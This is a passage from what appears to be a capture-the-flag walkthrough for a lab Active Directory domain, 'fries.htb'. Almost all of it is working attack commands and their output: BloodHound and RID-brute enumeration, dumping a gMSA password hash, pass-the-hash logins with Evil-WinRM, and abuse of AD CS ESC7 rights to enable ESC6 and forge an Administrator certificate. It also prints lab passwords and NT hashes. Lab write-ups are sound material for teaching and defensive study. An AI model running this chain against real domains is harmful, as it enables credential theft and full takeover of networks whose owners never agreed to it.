Enumerate the domain with BloodHound:
bloodhound-ce-python -u svc_infra -p 'm6tneOMAh5p0wQ0d' -ns 10.10.11.96 -d 'fries.htb' -dc dc01.fries.htb -c All --zip
We obtain a ZIP file.
sudo bloodhound
Upload the ZIP file.
Obtain a list of all domain users:
nxc smb dc01.fries.htb -d fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' --rid-brute 5000 | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1 > users_2.txt
BloodHound shows that svc_infra has a ReadGMSAPassword relationship to gmsa_ca_prod$.
Download gMSADumper:
python3 gMSADumper/gMSADumper.py -u svc_infra -p 'm6tneOMAh5p0wQ0d' -d fries.htb
Users or groups who can read password for gMSA_CA_prod$:
> svc_infra
gMSA_CA_prod$:::11f74c5f1731edb7a8441dd4bd28efe9
gMSA_CA_prod$:aes256-cts-hmac-sha1-96:0538d889dfd4c87adf383330e54fd7b38762458814aa073dea8f8cc46c867b0f
gMSA_CA_prod$:aes128-cts-hmac-sha1-96:909e2ad7fac3463ea6bd62af073302c8
nxc smb dc01.fries.htb -d fries.htb -u 'gMSA_CA_prod$' -H '11f74c5f1731edb7a8441dd4bd28efe9' --shares
SMB 10.10.11.96 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.96 445 DC01 [+] fries.htb\gMSA_CA_prod$:11f74c5f1731edb7a8441dd4bd28efe9
SMB 10.10.11.96 445 DC01 [*] Enumerated shares
SMB 10.10.11.96 445 DC01 Share Permissions Remark
SMB 10.10.11.96 445 DC01 ----- ----------- ------
SMB 10.10.11.96 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.96 445 DC01 C$ Default share
SMB 10.10.11.96 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.96 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.96 445 DC01 SYSVOL READ Logon server share
BloodHound shows that gMSA_CA_prod$ belongs to the Remote Management Users group, so we can connect to the Windows machine with Evil-WinRM:
evil-winrm -i dc01.fries.htb -u 'gMSA_CA_prod$' -H '11f74c5f1731edb7a8441dd4bd28efe9'
We obtain a PowerShell shell.
ls C:\Users
d----- 11/17/2025 9:26 PM Administrator
d----- 5/21/2025 9:16 AM b.briggs
d----- 5/21/2025 9:16 AM b.horne
d----- 5/21/2025 9:16 AM d.cooper
d----- 5/21/2025 9:14 AM d.lynch
d----- 5/19/2025 8:44 AM gMSA_CA_prod$
d----- 5/21/2025 9:16 AM h.jennings
d----- 5/21/2025 9:16 AM h.truman
d----- 5/21/2025 9:16 AM j.hurley
d----- 5/21/2025 9:16 AM l.johnson
d----- 5/21/2025 9:16 AM l.palmer
d-r--- 5/18/2025 5:19 AM Public
d----- 5/21/2025 9:16 AM s.johnson
d----- 5/21/2025 9:16 AM w.earl
(Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion") | Select-Object -Property *
We notice:
BuildBranch : rs5_release
BuildLab : 17763.rs5_release.180914-1434
BuildLabEx : 17763.1.amd64fre.rs5_release.180914-1434
CompositionEditionID : ServerStandard
CurrentBuild : 17763
CurrentBuildNumber : 17763
CurrentVersion : 6.3
EditionID : ServerStandard
ProductName : Windows Server 2019 Standard
ReleaseId : 1809
To obtain the exact build number:
$OSBuild = "{0}.{1}.{2}.{3}" -f ('CurrentMajorVersionNumber','CurrentMinorVersionNumber','CurrentBuild','UBR' | ForEach-Object {Get-ItemPropertyValue -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion' -Name $_})
$OSBuild
10.0.17763.8027
AD CS exploitation
certipy find -u 'gMSA_CA_prod$' -hashes '11f74c5f1731edb7a8441dd4bd28efe9' -target dc01.fries.htb -text -stdout -vulnerable
Certificate Authorities
0
CA Name : fries-DC01-CA
DNS Name : DC01.fries.htb
Certificate Subject : CN=fries-DC01-CA, DC=fries, DC=htb
Certificate Serial Number : 26117C1FFA5705AF443B7E82E8C639A9
Certificate Validity Start : 2025-11-18 05:39:18+00:00
Certificate Validity End : 3024-05-19 14:11:46+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : FRIES.HTB\Administrators
Access Rights
ManageCa : FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Domain Admins
FRIES.HTB\Enterprise Admins
FRIES.HTB\Administrators
Enroll : FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Domain Users
FRIES.HTB\Domain Computers
FRIES.HTB\Authenticated Users
ManageCertificates : FRIES.HTB\Domain Admins
FRIES.HTB\Enterprise Admins
FRIES.HTB\Administrators
[+] User Enrollable Principals : FRIES.HTB\Domain Users
FRIES.HTB\Domain Computers
FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Authenticated Users
[+] User ACL Principals : FRIES.HTB\gMSA_CA_prod
[!] Vulnerabilities
ESC7 : User has dangerous permissions.
Certificate Templates : [!] Could not find any certificate templates
We can manage the CA.
With Certify.exe, we can enable several attacks. Download the repository, compile it on a Windows machine, and upload the resulting Certify.exe binary to the target:
.\Certify.exe manage-ca --ca 'FRIES.HTB\fries-DC01-CA' --esc6
.\Certify.exe manage-ca --ca 'FRIES.HTB\fries-DC01-CA' --esc11
.\Certify.exe manage-ca --ca 'FRIES.HTB\fries-DC01-CA' --esc16
certipy find -u 'gMSA_CA_prod$' -hashes '11f74c5f1731edb7a8441dd4bd28efe9' -target dc01.fries.htb -text -stdout -vulnerable
We notice:
[!] Vulnerabilities
ESC6 : Enrollee can specify SAN.
ESC7 : User has dangerous permissions.
ESC11 : Encryption is not enforced for ICPR (RPC) requests.
ESC16 : Security Extension is disabled.
[*] Remarks
ESC6 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
We can now perform the ESC6 attack. However, it does not work yet: the AD CS service, named certsvc, must be restarted. In the PowerShell shell as gMSA_CA_prod$, run:
Restart-Service certsvc
Now perform the ESC6 attack:
certipy req -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' -target dc01.fries.htb -dc-ip 10.10.11.96 -ca 'fries-DC01-CA' -template User -upn administrator@fries.htb -sid 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Requesting certificate via RPC
[*] Request ID is 42
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@fries.htb'
[*] Certificate object SID is 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.96 -username Administrator -domain 'fries.htb'
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fries.htb': aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748
evil-winrm -i dc01.fries.htb -u 'Administrator' -H 'a773cb05d79273299a684a23ede56748'
We obtain a PowerShell shell as Administrator.